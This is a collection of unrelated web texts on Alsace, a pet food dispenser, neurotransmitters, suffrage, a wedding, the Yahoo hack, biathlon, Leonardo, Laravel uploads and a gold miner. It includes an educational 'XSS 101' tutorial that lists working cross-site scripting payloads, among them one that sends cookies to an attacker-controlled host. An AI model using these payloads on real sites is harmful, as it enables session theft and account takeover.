* No, please don´t! Laisse béton! As you show here - and made cristal clear in your contributions in the discussion on Strasbourg - you just do not get the point! - As you say: you "don't see anything overwhelming about that" - although it is obvious!! The sentence is absolutely correct - and makes a lot of sense... - in its context: the Alsatian dialect and culture (and the typical bilinguality) are on decline - the overwhelming - as well - presence of French in the media - as presence of French media as opposed to (German- (and dialect-) speaking) Swiss and German media - furthers this trend. I am not surprised that many French are unable to understand the problem but your show of this strange ignorance here is quite impressing though! "Alsace is part of France, so it´s normal for French media to be present there...!" - Well, of course, nobody could deny that! You just have to understand the importance of the word "overwhelming" in that place! There is a difference between "presence" and "overwhelming presence" (even if some peolpe cannot see it)! In France there may - linguistically - be no difference, but in most democratic countries, whenever you have a region where more than half (most times even far less) of the population speak another (mother-)language than the official (majority) language of this country, then it would be seen as normal that the media in that area are in that special language at an according proportion. Of course this is different in France (where French (language) is seen as the only "normal" thing - the norm) but that fact does not change the matter. The only editing truthfully allowed would be to add a "(-speaking)" to "French" in the phrase! Try that kind of intellectual censorship in the French(speaking) Wikipedia - I do not know if you will get through there - but let other people (in other languages) have their own perspective on the subject! --<IP_ADDRESS> 14:42, 26 October 2007 (UTC)Stephele
Language section is ridiculously anti-French and needs to be rewritten. It notably confused German and the Alsatian dialect, not to mention Germany and the Holy Roman Empire. Codik (talk) 18:07, 5 March 2009 (UTC)
I noticed the "hot" discussions in here, which just fits into a description of this country: the beeing french/beeing german or speaking french/speaking german IS a problem around here, often coupled to weired family history, so that is often ends in flaming debates. I just think that - if I recall it correctly - there is an article about language policy in France where this discussion should take place, and not in a descriptive article about Alsace. What we need here are facts&numbers so that someone can easily walk through it. ---qwerkus —Preceding unsigned comment added by <IP_ADDRESS> (talk) 11:20, 25 March 2008 (UTC) | WIKI |
Matthew HaleyAnkit Musham
Published © GPL3+
Automated Food Dispenser
Be able to feed your pet from anywhere, or have them feed themselves!
IntermediateShowcase (no instructions)5 hours232
Automated Food Dispenser
Things used in this project
Hardware components
Argon
Particle Argon
×2
PIR Motion Sensor (generic)
PIR Motion Sensor (generic)
×1
Jumper wires (generic)
Jumper wires (generic)
×15
Gravity:Digital Push Button (Yellow)
DFRobot Gravity:Digital Push Button (Yellow)
×1
Software apps and online services
ThingSpeak API
ThingSpeak API
Hand tools and fabrication machines
3D Printer (generic)
3D Printer (generic)
Story
Read more
Custom parts and enclosures
Servo Adapter
This custom 3D printed part allows the servo to attach to the rotating drum to allow food to dispense.
Schematics
Dispenser Circuit Diagram
Remote Control Circuit Diagram
Code
Dispenser Code
C/C++
This is the code for the argon connected to the food dispenser. The food dispenser will trigger if motion is detected, or when it receives an input from the button.
int sensorPin = 2; //Sensor pin
int servoPin = 5; //Servo pin
int motionsensorInput = 0; //This reads the motion status
Servo myservo;
void setup() {
pinMode(D2, INPUT); //sets the motion sensor pin as an input
pinMode(A5, OUTPUT); //sets the servo to be an output
myservo.attach(A5); //attaches the servo to the A5 pin
myservo.write(10);
delay(10000); //Calibration Delay for Motion Sensor
Particle.subscribe("Food", Food); //subribes to the "Food" event
}
void loop() {
motionsensorInput = digitalRead(D2); //reads the input value
if (motionsensorInput == HIGH){ //checks to see if there is an input.
myservo.write(180); //rotates servo 180 degrees
delay(1000); //delays 1 second
myservo.write(10); //rotates the servo back to 10 degrees
delay(1000);
}
else (motionsensorInput == LOW);{ //this else statement serves to break the loop and keep the servo at the 10 position
myservo.write(10);
delay(4000);
}
}
void Food(const char *event, const char *data) //this is the dispenser recieving the event from the button, it will trigger the same action as motion
{
myservo.write(180);
delay(1000);
myservo.write(10);
delay(1000);
}
Button Code
C/C++
This is the code for the remote control button. The button allows the user to override the need for motion and instead activate the dispenser willingly. The button will send an event to the dispenser for the dispenser to activate. The button also records activations from both the motion sensor and button and sends it to thingspeak.
int button = D3; //assigns button to D3
int val = 1; //creates the val variable
int counter = 0; //sets counter to 0
void setup()
{
pinMode(button, INPUT); //assigns button to input
}
void loop() { //this loop will read the value of the D3 pin, and publish an event to the dispenser if the button is activated.
val = digitalRead(button);
if (val == HIGH) {
counter = 5;
Particle.publish("Food", String(counter));
delay(1000);
}
else
{delay(100);
}
}
Credits
Matthew Haley
Matthew Haley
1 project • 0 followers
Ankit Musham
Ankit Musham
1 project • 0 followers
Comments
Add projectSign up / Login | ESSENTIALAI-STEM |
Difference Between Adrenergic and Cholinergic
What is Adrerengic?
The adrenergic receptors are housed in adrenergic nerves, which are constituents of the Sympathetic system. These receptors are G-protein coupled and bind to a variety of catecholamines released by the adrenal gland. Epinephrine (adrenaline) and norepinephrine (noradrenaline) are the main two neurotransmitters involved in adrenergic receptor binding. These are also in charge of the body’s fight-or-flight reaction.
When sympathetic nerve endings in the heart bind with these neurotransmitters, they affect the heart, myocardial contractibility, and conduction velocity, all of which significantly raise the activity of the heart.
Besides their influence on the heart, they also improve the body’s momentary efficiency by directing blood away from non-essential organs and toward skeletal muscles. Other implications include pupil dilation, increased blood pressure, and lung cavity expansion, among others.
Adrenergic neurotransmitters (adrenoceptors) connect agonists like the sympathetic neurotransmitter NE and the circulatory hormone epinephrine (EPI). The 1-adrenoceptor is the most important adrenoceptor in the heart (excluding coronary vascular adrenoceptors). Heart rate goes up (positive chronotropic), conduction velocity is enhanced (positive homotopy), contractility is expanded (positive inotropy), and the rate of myocyte relaxation is increased when stimulated by a 1-agonist such as NE or EPI (positive lusitropy).
The alpha and beta forms of adrenoceptors are further divided based on their function and impact on health. When adrenaline unites to these receptors, it causes alpha vasoconstriction and beta vasodilation.
What is Cholinergic?
The parasympathetic nervous system is linked to the cholinergic route, which involves the functions of cholinergic receptors. The neurotransmitter Acetylcholine activates these receptors, which are both inotropic and metabotropic (ACh). Acetylcholine neurotransmitters carry out their functions by binding to the muscarinic and nicotinic receptors, which are the 2 major cholinergic receptors. The body’s metabolize and rest responses are controlled by the cholinergic system.
The cholinergic influences on the heart are caused by the vagus or parasympathetic nerve endings. These receptors in the heart are liable for suppressing the heart’s capabilities when acetylcholine unites them. The body’s acetylcholine binding effect, which lowers heart rate and blood pressure, is a fine balance. Acetylcholine also has other effects such as dilation of blood vessels, increased bodily secretions, and smooth muscle contraction.
These neurotransmitters can be discovered throughout the body, but they’re most frequent in organ systems like sensory glands, respiratory tracts. The site can be witnessed in the heart and eyes, and gastrointestinal tract. Cholinergic receptors are found in both Somatic and Autonomic nervous systems and are classified as Nicotinic and Muscarinic receptors. Nicotine ties to nicotine receptors, while muscarine unites to muscarinic receptors.
Choline derivatives (acetylcholine, methacholine, carbachol, bethanechol) and alkaloids are examples of primary cholinergic intermediaries (muscarine, pilocarpine, cevimeline).
Difference Between Andrergenic and Cholinergic
1. The main difference between the both is their involvement with different parts of the nervous system. The adrenergic system belongs to the sympathetic nervous system whereas the cholinergic pave its way to the parasympathetic system.
2. Unlike adrenergic that bind itself to two: adrenaline and noradrenaline, cholinerage unites acetylcholine.
3. Neurotransmitters in both differ by adrenergic having adrenaline and noradrenaline while cholinergic has acetylcholine.
4. While adrenergic is responsible for increasing heart rate, cholinergic is responsible for regulation.
5. Alpha and Beta are sub-divisions of adrenergic whereas nicotinic and muscarinic belong to cholinergic.
6. The responsibility of adrenergic involves blood pressure increase, pupil dilation whereas muscle contraction and blood vessel dilation are the responsibilities of the latter.
Comparison Between Adrenergic and Cholinergic
Parameters for ComparisonAdrenergicCholinergic
DefinitionAutonomic receptors that bind
to adrenaline and noradrenaline.
Autonomic receptors that bind
acetylcholine.
Associated Nervous
System
Sympathetic Nervous system
Parasympathetic nervous
system.
NeurotransmittersAdrenline and noradrenalineAcetylcholine
TypeAlpha and BetaNicotinic and muscarinic
ResponsibilityIncreases heart activity during
binding.
Regulates heart activity during
stimulation.
AssociationIncrease blood pressure, lung cavity
expansion, pupil dilation, and
redirection of blood flow into
skeletal muscles.
Blood vessel dilation,
contracting muscles smoothly,
enhanced body secretions.
References
1. https://www.sciencedirect.com/science/article/pii/S0022202X15330402
2. https://academic.oup.com/endo/article-abstract/80/5/975/2696051 | ESSENTIALAI-STEM |
Page:History of Woman Suffrage Volume 5.djvu/806
* amends, in N. Y, Penn. and Mass, 478-9; alliance with liquor interests, 486; Natl. Assn. holds one day conv. in Washtn. hotel, re-elects Mrs. Wadsworth pres, makes Mrs. Lansing secy, 536; at Senate com. hearing, 1916, 548; at last surf, hearing, 1918, 577; misrepresents Pres. Wilson on Fed. Amend, 580; two members of men's assn. occupy whole day, 583; hearing continued, 584 — 589; 592; last efforts, 597; 635; hrst heard in Washtn, com. in Mass, assn. org. there, officers, Remonstrance published, 678; corns, and assns. in N. Y. and other States, Natl. Assn. formed, officers, work, headqrs, papers published, 678; Men's assns. organized, officers, various branches, work, name changed, 680; oppose Fed. Suff. Amend, in Cong, and ratif. by States; take cases to the courts, 681-2; at Rep. Natl. Conv. in 1912, 710; 1916, 711; at Dem, 712; attack Mrs. Catt and other suits, during the war, Mrs. Catt makes defense, 735 — 737.
* Arizona, Gov. Brodie vetoes om. Suff. Bill, 67; admission to Statehood, 129-30; Natl. Assn. helps suff. work, 253; gives majority ote for worn, sutf, 332; 337; 625.
* Arkansas, gives Primary sutf. to women, xxiii, 516; dele, to suff. conv. reed, by Pres. Wilson, 516.
* Armistice, effect on worn, sutf, 551.
* Armstrong, Eliza, 391.
* Arthur, Clara B, 70; 219; 337.
* Ashley, Jessie, Natl. treas. report, 315; re-elected, 324; reports $55,200 receipts for 1912, 341; 342; 372.
* Ashurst, U. S. Sen. Henry F, urges worn, suff, 380; Senate speech, 405; 626-7; speaks for Fed. Amend. 645.
* Asquith, Prime Minister Herbert H. (Gt. Brit.), 281; 331.
* Atlantic City, entertains natl. suff. conv. in 1916, 480.
* Australia, grants natl. suff. to women, 55; Mrs. Watson-Lister describes, 91.
* Avery, Rachel Foster, n; 12; testimonial to, 17; 44; on Phila. women in civic work, 65; chmn. Anthony mem. fund com, 202; tribute to Miss Anthony, 203; re-elected to Natl. Bd, 204; 216; report on natl. petit, for Fed. Suff. Amend, 258; vast work of petit, 274; resigns office, 282; urges fav. rept. on petit, 297; 540; reminis. of suff. pioneers, 569-70; 21 years cor. secy. Natl. Assn, 607; 704; has charge of natl. suff. headqrs. in Phila, 754.
* Avery, Susan Look, 328.
* Axtel, Frances C, 540.
* Babcock, Elnora M, 10; work with press, 10; 14; natl. chmn. Press Cum, gives rept, 44; 61-2; 95; wide work of natl. press dept, 131; makes last rept, efficient work, 163.
* Bacharach, Mayor Harry, presents key to Atlantic City to Mrs. Catt, 481.
* Bacon, Anna Anthony, 333.
* Bacon, Elizabeth D, 188.
* Bagley, Mrs. Frederick P, reports for natl. assn's, war com. on Americanization, 520; 560; 690; chmn. Amer. citizenship, 697; work for Americanization, 729, 732.
* Bailey, ex-U. S. Sen. Joseph W, star speaker for "antis" at last suff. hearing; women cannot perform sheriffs duties or jury or military service; have no time to vote; men can make laws for them; single standard of morals "iridescent dream"; flouts petitions from his constituents, 586 589; Mrs. Catt answers, 590; he leaves the room, 592; Texas women defeat for Governor, 589.
* Baker, Abby Scott, 718.
* Baker, La Reine, 246; 286.
* Baker, Secretary of War Newton D, addresses natl. suff. conv; the war will bring broadening of liberty to women, 532; favors Fed. Suff. Amend, 580; speaks at suff. meeting and carries message to Pres. Wilson, 724-5; tribute to Dr. Shaw and Woman's Com. Natl. Defense, 739; presents disting. service medal to Dr. Shaw, 758.
* Baker, Mrs. Newton D, 515-16; sings for natl. conv, 526.
* Baldwin, Mrs. Felix, 395.
* Balentine, Katharine Reed, 217-18; danger in women's disfranchisement, 237; 319.
* Ball, U. S. Sen. J. Heisler, 641.
* Ballantyne, Grace H, 219; 239. Baltimore, entertains natl. suff. conv, a noteworthy meeting, 151.
* Banker, Henrietta L, bequest to Natl. Assn, 130. | WIKI |
Lindsay Lieberman, Isaac Kardon
Lindsay Beth Lieberman and Isaac Benjamin Kardon are to be married Sept. 23 in their backyard in Newport, R.I. Rabbi Marc Mandel is to officiate. The bride, 33, works remotely in Newport as a senior associate for C. A. Goldberg, a Brooklyn law firm that represents victims of cyber sexual abuse, sexual assault and extortion. She is also an adjunct professor at Salve Regina University in Newport. Ms. Lieberman graduated from Rutgers, and received a law degree cum laude from Brooklyn Law School. She is a daughter of Marjorie N. Lieberman and Bernard Lieberman of Monroe, N.J. The bride’s father, who is retired, worked in East Orange, N.J., as the chief of pharmacy of the East Orange and Lyons campuses of the VA New Jersey Health Care System. Her mother retired as a fifth-grade teacher from Public School 42 in Eltingville, Staten Island. The groom, 35, is an assistant professor at the United States Naval War College in Newport, where he teaches and researches Chinese politics and foreign policy as a core member of the China Maritime Studies Institute. He graduated from Dartmouth, and earned a master’s degree in modern Chinese studies from Oxford, as well as a Ph.D. in government from Cornell. He is a son of Nancy M. Kardon and James C. Kardon of Scarsdale, N.Y. The groom’s mother works as a certified Iyengar yoga teacher in Scarsdale and Greenwich, Conn. She also teaches yoga at Gilda’s Club, a community organization for cancer survivors, and at the Mental Health Association of Westchester, both in White Plains. His father is a partner in the Manhattan law firm Hahn & Hessen, where he practices corporate and securities law. He is also the director of the Riverside Opera Ensemble in Manhattan. The couple met through the Bumble dating app at the end of 2016, and had a first date in February at the Frick Museum in Manhattan, followed by dinner, and a stop at Ms. Lieberman’s friend’s apartment to pick up Harry, her Chihuahua-miniature pinscher rescue dog from Puerto Rico. In August, Dr. Kardon adopted Ralph, a hound-lab mix rescue from a Newport shelter. The couple called upon both Harry and Ralph to serve as their ring bearers. | NEWS-MULTISOURCE |
Yahoo hackers manipulated search results for ‘erectile dysfunction medications’ – TechCrunch
One of the hackers alleged to be responsible for a 2014 hack of Yahoo that affected half a billion users also manipulated search results in his favor to make some money on the side, according to the indictment filed today by the Justice Department. Alexsey Belan has been charged multiple times with e-commerce fraud and hacking offenses, but managed to escape to Russia in 2013 — after his arrest in Europe but before he could be extradited. His alleged offenses in the Yahoo case appear to be more opportunistic than those of his colleagues. One of his schemes was to manipulate some of Yahoo’s search engine servers so that when people searched for “erectile dysfunction medications,” (as the indictment puts it, but perhaps less formal inquiries were also included) they were forwarded to an “online pharmacy company” that paid commissions to traffic-drivers. This was done using an unnamed cloud computing company that apparently (and no doubt unknowingly) acted as intermediary between the Yahoo link and the pharmacy. This rather expands the access hypothetically enjoyed by the hackers; whereas before it was certain that emails, hashed passwords and security questions (among other common data) were stolen, this implies interference at a considerably deeper level. If Belan could plant search results for what must be a closely monitored market and query set, what else could he have tweaked to his or a client’s advantage? Two weeks ago a Yahoo SEC filing also revealed new details about the hack, namely that the intrusion had exposed “proprietary code.” What code? How? At the current rate Yahoo is hemorrhaging unflattering information about the hacks, it may not be long before we find out. Disclosure: Verizon, which owns Aol, which owns TechCrunch, is in the process of buying Yahoo. | NEWS-MULTISOURCE |
XSS 101
1. What is XSS?
xss-popup
Fig. 1 – A classic XSS popup.
Cross-site scripting (XSS) is both the name of the most common vulnerability in web applications and the exploitation method performed against it. XSS attacks abuse the dynamic way websites interact with their clients, the browsers. It makes possible, for an attacker, to control the victim’s browser and his/her interaction with a given vulnerable website. To display back content provided or controlled by an user, like an URL parameter or an input field, a flawed application opens the door to manipulation of this content. This manipulation, generically called injection, is the XSS attack.
Browsers display content using a mix of HTML (basically a text formatting language) and a programming language called javascript. Among other things, javascript is responsible for making things run in response to events in the context of an application. Another window opening when a page loads, the drag and drop of elements of the page and any changes made to the it on the fly (without the need to reload it), for example, are things done by javascript.
Javascript code comes between the HTML tags, <script> and </script> (the opening and closing ones, respectively) or in the form of an external include by means of the “src” (source) attribute of this same tag. In this way, libraries (reusable pieces of code) can be added to the current page and executed by browser in that context.
So when an attacker is able to inject this pair of tags into a page, any javascript code can be executed if there’s no filter in place (which is usually the vast majority of cases). Because anything an user in a browser can do also can be done by javascript, an attacker has total control over it.
Javascript can also appears in common HTML elements, the regular tags. By means of event handlers inside them, like “onload” (when an page element is loaded by browser) or “onmouseover” (when a mouse pointer hovers over something), javascript code can also be executed increasing considerably the numbers of vectors for an XSS attack.
Types of XSS
Cross-site scripting can occur in the context of an application or not. Out of the context of an application is very rare but more dangerous and it will not be covered here. Focusing on the application, XSS can be caused by server side code (code sent by web server) or client side code (code processed by browser from code sent by web server).
Code sent by web server is the source code. It is processed by browser, with the help of the javascript engine, to create the elements of the document in a programmatic manner. This is called DOM (Document Object Model) and it’s generated as soon as the source code arrives.
So we have source-based and DOM-based types of XSS in a context of an application. Both have the following execution types.
Source-based: Reflected Stored
DOM-based: Reflected Stored
When the website or application just reflects back content maliciously manipulated by user (usually in the URL), we have a reflected XSS attack. This reflection, as we saw, affects the way browsers display the page and how they process things and behave. Take the following PHP code:
$username = $_GET[‘user’];
echo “<h1>Hello, ” . $username . “!</h1>”;
Which would display the user name taken from URL like
http://mydomain.com/hello.php?user=John
In source code, it would be:
<h1>Hello, John!</h1>
netsparker-post-1
Fig. 2 – Example of parameter value reflection.
So, if an attacker use the URL “http://mydomain.com/hello.php?user=<script>alert(1)</script>” he/she will be able to make the browser generate the following source code:
<h1>Hello, <script>alert(1)</script>!</h1>
Triggering the classic javascript alert box.
netsparker-post-2
Fig. 3 – The XSS being triggered.
When the website or application stores user input in a database or a file to display it later, like a field in a profile or a comment in a forum, the resulting attack is called persistent or stored XSS. Every user that sees this stored content is a potential victim.
While in this last attack, an user just needs to open or navigate to an infected page to be attacked, in the reflected one an user usually must click on attacker’s link, which contains what we call vector or payload, the code used for the XSS attack. Although seeming less dangerous than the stored version, a reflected XSS can also be invisibly embedded into any other website and executes from another browser tab or window in the context of the target application.
XSS Basic Examples
Usually, for a proof of concept (PoC) of an XSS attack exploring source-based flaws, security testers use one the following code.
1. With <script> tag
<script>alert(1)</script>
or
<script src=//HOST/SCRIPT></script>
With HOST being a domain or IP address controlled by tester and SCRIPT being a script with alert(1) as content, like in:
<script src=//brutelogic.com.br/1.js></script>
2. With regular HTML tags
2.1 Event-based
<TAG EVENT=alert(1)>
With TAG being any HTML or XML tag and EVENT being a supported event handler like:
<body onload=alert(1)>
<img src=1 onerror=alert(1)>
<svg onload=alert(1)>
<x onmouseover=alert(1)>
2.2 Resource-based
<TAG RESOURCE=javascript:alert(1)>
With TAG being a proper HTML tag that supports a RESOURCE like:
<iframe src=javascript:alert(1)>
<object data=javascript:alert(1)>
All these make a window pop-up appears with the number one inside. Although useful to show the executing of javascript and then the possibility of hooking the browser for control, it’s better to prove that execution in the context of the application. For this, “alert(1)” is changed to “alert(document.domain)”.
Example:
<script>alert(document.domain)</script>
These are just to prove the vulnerability; for attacks in the wild, a victim of an XSS attack usually will not be able to see anything while his/her browser will perform the attacker’s desired actions.
2. What Can be Done With XSS?
These are the main actions that can be performed by an attacker when exploiting an XSS flaw.
2.1. Steal an user session on the vulnerable website (including admins)
Browsers use a small text file to store locally important data about a given website. This file contains what we call cookies, pairs of variable and value that have some meaning for the application that sent them to browser. Cookies are used to identify a person after he logged into an application, so server has no need to ask for credentials again every time an user request a resource. While cookies are valid (they expire after a certain time), an user session is active in the application. If these valid cookies are stolen, the thief can impersonate that user and interact with application in the same way the real user does, without even knowing his password.
This gives access to all personal data stored about an user, like his telephone number, home address and even his/her credit card details in an e-commerce website, for example. For website administrators (admins), an XSS attack can lead to takeover of his/her website and even the machine where it is hosted.
Attack example:
<svg onload=fetch(‘//HOST/?cookie=’+document.cookie)>
Where HOST is a domain or IP address controlled by attacker.
2.2. Capture the keys pressed by the user
By being able to capture what an user types in form fields, like the ones for login (username and password), an attacker can also compromise an user account in a given website.
2.3. Deface the page, serving any type of content
Users can be tricked into thinking that visited website was hacked or it’s not functional, which can lead to panic or the impossibility to perform actions in the application like buying an item.
Attack example:
<svg onload=”document.body.innerHTML='<img src=//HOST/IMAGE>'”>
Where HOST is a domain or IP address controlled by attacker and IMAGE is a full screen image with a “Hacked by” message, for example.
2.4. Trick the user into giving his/her credentials by means of a fake HTML form
With the ability to serve any content, an attacker can convince an user to enter or reenter his/her credentials in the application, but this time sending them to an attacker.
2.5. Crash the browser (local denial of service)
Very rare use, but possible. An attacker may want to keep away a certain rival in an auction, for example, by making his/her browser unresponsive.
2.6. Force download of files
It’s straightforward to make user’s browser download any file with XSS, but not necessarily executing it, which would give access to user machine. Unfortunately, due to the fact that an attacker has control over several other aspects of the trusted website, seems not so difficult to also trick the user into open it.
Attack Example:
<a href=//HOST/FILE download=FILENAME>Download</a>
Where HOST is a domain or IP address controlled by attacker, FILE is the file attacker want the victim to download and FILENAME is the name of the file in victim’s machine (user can be forced to download an executable file while saving it as an image, for example).
2.7. Redirect user’s browser to another website where his/her machine can be compromised by memory exploits
Again, with the aim to takeover the user machine, an attacker can redirect the browser invisibly to another web address where another prepared application will try to break the browser barrier to access the user operating system (which would lead to compromise). If user has an outdated or vulnerable browser, attacker has great chances of success.
Attack Example:
<iframe src=//HOST/ style=display:none></iframe>
Where is a domain or IP address controlled by attacker.
#hack2learn
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Page:The Leather Pushers (1921).pdf/60
Whilst I am bandagin' the Kid's hands and my dinge helper is whisperin' sweet nothin's in his ears to take his mind off the crowd, the air is filled with shriekin' demands for Kelly to murder him. My boy is pale and nervous like as of yore, head down and both feet shufflin' restlessly back and forth in the rosin. He kept wettin' his dry lips with a shakin' tongue and tappin' the ropes with his hands, every now and then glancin' out at that ocean of sneerin' faces around him and then quickly turnin' his head away again. He was takin' a terrible lickin', and no one knew it better than me, right whilst he sat there in his corner and waited for the festivities to commence. He had nothin' on his mind but that girl Irene, his future, whether this bird wouldst mark him up or not, what wouldst happen when they all found out back home that he was a prize fighter, and, likewise, what wouldst happen when one of Special Delivery Kelly's hamlike fists bounced off his face. Yellah? You never seen him work. Once the bell rung it was all different, and that nervous energy slipped right out through his pumpin' gloves. Temperament—that's all! This big ourang outang Kelly sit sprawled out in his corner, kiddin' with friends around the ringside about the pink-cheeked dude on the other side without another care in the wide, wide world!
Fin'ly I step over to Kelly's corner to have a flash at his bandages. One look was enough! I whistled to the referee. "Why don't you give this guy a ax and be done with it?" I says, pointin' to Kelly's hands. His seconds is tryin' frantically to get the gloves on before I can crab it. | WIKI |
Biathlon at the 2006 Winter Olympics – Women's pursuit
The Women's 10 kilometre biathlon pursuit competition at the 2006 Winter Olympics in Turin, Italy was held on 18 February, at Cesana San Sicario. Competitors in this biathlon raced over five loops of a 2.0 kilometre skiing course, shooting twenty times, ten prone and ten standing. Each miss required a competitor to ski a 150-metre penalty loop.
The starting order for the pursuit was based on the results of the sprint; the top 60 finishers in that race qualified for the pursuit. In addition, each racer's final deficit behind sprint winner Florence Baverel-Robert corresponded to their starting deficit in the pursuit; Anna Carin Olofsson, who finished 2 seconds behind Fischer in the sprint, started 2 seconds after her in the pursuit.
The winner was the first racer over the finish line, Kati Wilhelm. Skiers who were lapped were not ranked in the official results.
At the 2005 World Championships, Germany's Uschi Disl successfully defended her four-second lead after the sprint event to win the pursuit, while Russian Olga Pyleva won the event at the 2002 Olympics. Kati Wilhelm led the pursuit World Cup standings before the Olympics, ahead of Sandrine Bailly of France and Disl.
Results
The race was held at 12:30. | WIKI |
Leonardo da Vinci is regarded as one of the greatest painters in the history of art
Despite many of his works having been lost the few that survive are some of the most influential paintings in Western art.
Leonardo was an Italian polymath of the High Renaissance who was active as a painter, draughtsman, engineer, scientist, theorist, sculptor, and architect.
While his fame initially rested on his achievements as a painter, he also became known for his notebooks, in which he made drawings and notes on a variety of subjects, including anatomy, astronomy, botany, cartography, painting, and paleontology.
Leonardo is widely regarded to have been a genius who epitomized the Renaissance humanist ideal,and his collective works comprise a contribution to later generations of artists matched only by that of his younger contemporary, Michelangelo.
Born out of wedlock to a successful notary and a lower-class woman in, or near, Vinci, in Tuscany, he was educated in Florence by the Italian painter and sculptor Andrea del Verrocchio.
He began his career in the city, but then spent much time in Milan and Rome, all while attracting a large following of imitators and students.
Upon the invitation of Francis I, he spent his last three years in France, where he died in 1519.
His magnum opus, the Mona Lisa, is his best known work and often regarded as the world’s most famous painting. The Last Supper is the most reproduced religious painting of all time and his Vitruvian Man drawing is also regarded as a cultural icon.
In 2017, Salvator Mundi, attributed in whole or part to Leonardo,was sold at auction for US$450.3 million, setting a new record for the most expensive painting ever sold at public auction.
Revered for his technological ingenuity, he conceptualized flying machines, a type of armored fighting vehicle, concentrated solar power, a ratio machine that could be used in an adding machine, and the double hull.
Relatively few of his designs were constructed or were even feasible during his lifetime, as the modern scientific approaches to metallurgy and engineering were only in their infancy during the Renaissance. Some of his smaller inventions, however, entered the world of manufacturing unheralded, such as an automated bobbin winder and a machine for testing the tensile strength of wire. He made substantial discoveries in anatomy, civil engineering, hydrodynamics, geology, optics, and tribology, but he did not publish his findings and they had little to no direct influence on subsequent science.
Destination – Italy | FINEWEB-EDU |
How to Upload Multiple Files in Laravel in the best way?
Application development often requires to upload multiple files at the same time. This feature is supported by Laravel applications. In the previous tutorials, we discussed how to upload single file in Laravel. So, let us now look at a step by step example to upload multiple files in Laravel.
Step 1: Install and Create new Project
Firstly, we will install Laravel 9 and create a new project. We will have a simple form with a file input field. You can use it to select multiple images. Prior to submitting the form we will store those images in a folder and database.
composer create-project laravel/laravel upload_multiple_files
Step 2: Create new Migrations
Secondly, to store multiple images and their paths in a single place, we will need a separate table to handle it. Therefore, we will create migrations for a new images table.
php artisan make:migration create_new_files_table
The resulting migrations file will look as shown below.
public function up()
{
Schema::create('files', function (Blueprint $table) {
$table->id();
$table->string('name');
$table->timestamps();
});
}
/**
* Reverse the migrations.
*
* @return void
*/
public function down()
{
Schema::dropIfExists('files');
}
};
The details above have the up() function to create a new table ‘files’ with the three fields specified in the create function. The down() function drops the ‘files’ table, if it exists in database. After adding the details as above, we will run the migrations.
php artisan migrate
Step 3: Create new Modal
Next step, we create an Files Modal.
php artisan make:model Images
The Modal will come under the app/Models directory and has the code as shown below.
<?php
namespace App\Models;
use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\Model;
class Files extends Model
{
use HasFactory;
protected $fillable = [
'name'
];
}
Step 4: Create new Routes
New routes in the routes/web.php file are created to link the Controller functions and blade views.
Route::controller(FilesController::class)->group(function(){
Route::get('files-upload', 'index');
Route::post('files-upload', 'save')->name('files.save');
});
Step 5: Create new Controller
Now we create a controller that handles retrieving the files and uploading to the database.
php artisan make:controller FilesController
We will then populate the Controller file with the code as shown below.
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use App\Models\File;
class FileController extends Controller
{
/**
* Display a listing of the resource.
*
* @return \Illuminate\Http\Response
*/
public function index()
{
return view('filesUpload');
}
/**
* Display a listing of the resource.
*
* @return \Illuminate\Http\Response
*/
public function save(Request $request)
{
$request->validate([
'files' => 'required',
'files.*' => 'required|mimes:pdf,xlx,csv|max:2048',
]);
$files = [];
if ($request->file('files')){
foreach($request->file('files') as $key => $file)
{
$fileName = time().rand(1,99).'.'.$file->extension();
$file->move(public_path('uploads'), $fileName);
$files[]['name'] = $fileName;
}
}
foreach ($files as $key => $file) {
File::create($file);
}
return back()
->with('success','You have successfully upload file.');
}
}
The index() function returns the view where a user can upload files. Files data from the view is processed in the save function. After validation, a file array processes the multiple files added using a foreach loop. Therefore, each file is moved to the uploads folder in the public path defined. For example, this can be the public path or an file storage folder. Locations of both paths are stated below. Consequently, a success message is returned if all steps go smoothly.
Storing Files in Storage Folder
$file->storeAs('files', $fileName);
// storage/app/files/file.png
Storing Files in Public Folder
$file->move(public_path('files'), $fileName);
// public/files/file.png
Step 6: Create new Blade file
Finally, the last step will be to create a blade file. This will make a user view the multi-files select and upload option.
<!DOCTYPE html>
<html>
<head>
<title>Laravel 9 Upload Multiple Files Example - scratchcoding.dev</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.2/dist/css/bootstrap.min.css" rel="stylesheet">
</head>
<body>
<div class="container">
<div class="panel panel-primary">
<div class="panel-heading">
<h2>Laravel 9 Upload Multiple Files Example - scratchcoding.dev</h2>
</div>
<div class="panel-body">
@if ($message = Session::get('success'))
<div class="alert alert-success alert-block">
<strong>{{ $message }}</strong>
</div>
@endif
<form action="{{ route('files.save') }}" method="POST" enctype="multipart/form-data">
@csrf
<div class="mb-3">
<label class="form-label" for="inputFile">Select Files:</label>
<input
type="file"
name="files[]"
id="inputFile"
multiple
class="form-control @error('files') is-invalid @enderror">
@error('files')
<span class="text-danger">{{ $message }}</span>
@enderror
</div>
<div class="mb-3">
<button type="submit" class="btn btn-success">Upload</button>
</div>
</form>
</div>
</div>
</div>
</body>
</html>
The blade file above views the upload files option to the user. In addition, it has two separate divs that pop up required messages. One for success and one for error.
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Highland Gold
Highland Gold (Highland Gold Mining Limited, HGML) is one of the leading gold miners in Russia and Central Asia. Mining operations are concentrated around four regional hubs — Khabarovsk, Transbaikalia, Kamchatka and Chukotka.
History
Highland Gold Mining Limited was incorporated in 2002.
In 2003 Barrick Gold Corp, the world's largest gold producer, began to invest in HGML, gradually increasing its share to 34 %. Later, Barrick Gold sold its stake, explaining that it was «non-core to Barrick's business operations and strategy».
In 2007 more than 40 % of HGML were acquired by Millhouse LLC investment company owned by Roman Abramovich. In July 2020 the purchase of 40,06 % of HGML shares from Abramovich and his business associates was announced by an entity controlled by Vladislav Sviblov. By the end of 2020 Sviblov had bought out 100 % of HGML.
In 2021 Highland Gold acquired the largest gold producer in Kamchatka — «Gold of Kamchatka» along with Trans-Siberian Gold. By the end of 2021 the company completed the acquisition of the Kamchatka and Transbaikalia assets.
Management
Vladislav Sviblov has been CEO of Highland Gold since December 2020 (previously this position was held by Denis Alexandrov, Henry Horn, Dmitry Korobov).
Operations
The company is focused on gold, silver and non-ferrous metals' mining. As of the beginning of 2022 HGML owns 11 operating mines in Transbaikalia, Khabarovsk, Kamchatka and Chukotka as well as 8 development projects and many exploration projects in these regions. | WIKI |
2012–13 FIBA EuroChallenge
